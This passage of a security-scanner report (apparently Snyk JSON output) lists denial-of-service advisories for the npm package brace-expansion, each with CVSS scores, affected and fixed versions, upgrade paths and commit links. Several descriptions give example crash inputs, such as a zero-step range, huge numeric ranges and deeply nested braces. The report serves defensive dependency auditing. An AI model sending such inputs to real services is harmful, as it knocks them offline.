can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": 